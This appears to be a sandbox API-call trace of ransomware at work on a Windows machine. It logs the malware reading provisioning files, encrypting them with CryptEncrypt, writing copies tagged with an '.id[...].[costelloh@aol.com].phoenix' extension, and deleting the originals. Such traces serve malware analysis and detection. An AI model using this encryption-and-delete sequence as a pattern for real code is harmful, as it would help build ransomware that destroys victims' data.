	[0251.674] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c0, lpOverlapped=0x0) returned 1
	[0251.680] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0251.680] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0251.681] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0251.681] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.681] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.681] CryptDestroyKey (hKey=0x151100) returned 1
	[0251.681] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.683] CryptDestroyKey (hKey=0x151040) returned 1
	[0251.683] CloseHandle (hObject=0x2b4) returned 1
	[0251.683] CloseHandle (hObject=0x2d8) returned 1
	[0251.683] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\463__connections_cellular_astelit (ukraine)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.686] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.686] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.686] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\465__connections_cellular_utel inet (ukraine)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.686] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0251.686] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.686] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x287, lpOverlapped=0x0) returned 1
	[0251.699] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0251.699] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0251.700] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1512c0) returned 1
	[0251.700] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.700] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.700] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0251.700] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.700] CryptDestroyKey (hKey=0x151100) returned 1
	[0251.700] CloseHandle (hObject=0x2d8) returned 1
	[0251.700] CloseHandle (hObject=0x2b4) returned 1
	[0251.700] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\465__connections_cellular_utel inet (ukraine)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.701] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.701] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.701] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\468__connections_cellular_etisalat (united arab emirates)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0252.209] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0252.209] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.210] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x294, lpOverlapped=0x0) returned 1
	[0252.275] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0252.275] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0252.276] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0252.276] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.276] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0252.276] CryptDestroyKey (hKey=0x151700) returned 1
	[0252.276] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0252.278] CryptDestroyKey (hKey=0x151600) returned 1
	[0252.278] CloseHandle (hObject=0x2b4) returned 1
	[0252.278] CloseHandle (hObject=0x2d8) returned 1
	[0252.279] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\468__connections_cellular_etisalat (united arab emirates)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.280] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.280] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.280] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\470__connections_cellular_manx telecom (pronto gsm) (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0252.281] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0252.281] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.281] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e5, lpOverlapped=0x0) returned 1
	[0252.485] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0252.485] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0252.485] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1512c0) returned 1
	[0252.485] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.485] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe0, dwBufLen=0xe0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe0) returned 1
	[0252.486] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0252.486] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x192, lpOverlapped=0x0) returned 1
	[0252.486] CryptDestroyKey (hKey=0x151100) returned 1
	[0252.486] CloseHandle (hObject=0x2d8) returned 1
	[0252.486] CloseHandle (hObject=0x2b4) returned 1
	[0252.488] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\470__connections_cellular_manx telecom (pronto gsm) (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.489] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.489] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.489] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\472__connections_cellular_o2 - uk (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0252.490] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0252.490] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.490] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x359, lpOverlapped=0x0) returned 1
	[0252.526] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0252.526] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0252.527] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151240) returned 1
	[0252.527] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.527] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0252.527] CryptDestroyKey (hKey=0x151240) returned 1
	[0252.527] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0252.527] CryptDestroyKey (hKey=0x151500) returned 1
	[0252.527] CloseHandle (hObject=0x2b4) returned 1
	[0252.527] CloseHandle (hObject=0x2d8) returned 1
	[0252.527] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\472__connections_cellular_o2 - uk (united kingdom)_i1$(__mvid)@wap.provxml")) returned 1
	[0252.529] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.529] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.529] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\475__connections_cellular_o2 - uk (united kingdom)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0252.530] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0252.530] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.530] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x354, lpOverlapped=0x0) returned 1
	[0252.558] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0252.559] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0252.559] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0252.559] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.559] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0252.559] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0252.559] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0252.560] CryptDestroyKey (hKey=0x151440) returned 1
	[0252.560] CloseHandle (hObject=0x2d8) returned 1
	[0252.560] CloseHandle (hObject=0x2b4) returned 1
	[0252.560] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\475__connections_cellular_o2 - uk (united kingdom)_i4$(__mvid)@wap.provxml")) returned 1
	[0252.561] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.561] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.561] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\478__connections_cellular_vodafone uk (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0252.562] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151680) returned 1
	[0252.562] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.562] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x34c, lpOverlapped=0x0) returned 1
	[0252.635] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0252.635] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0252.636] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0252.636] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.636] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0252.636] CryptDestroyKey (hKey=0x151380) returned 1
	[0252.636] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0252.636] CryptDestroyKey (hKey=0x151680) returned 1
	[0252.636] CloseHandle (hObject=0x2b4) returned 1
	[0252.636] CloseHandle (hObject=0x2d8) returned 1
	[0252.636] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\478__connections_cellular_vodafone uk (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.638] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.638] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.638] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\481__connections_cellular_vodafone uk (united kingdom)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0252.639] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0252.639] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.639] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x353, lpOverlapped=0x0) returned 1
	[0252.645] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0252.645] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0252.645] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1510c0) returned 1
	[0252.646] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
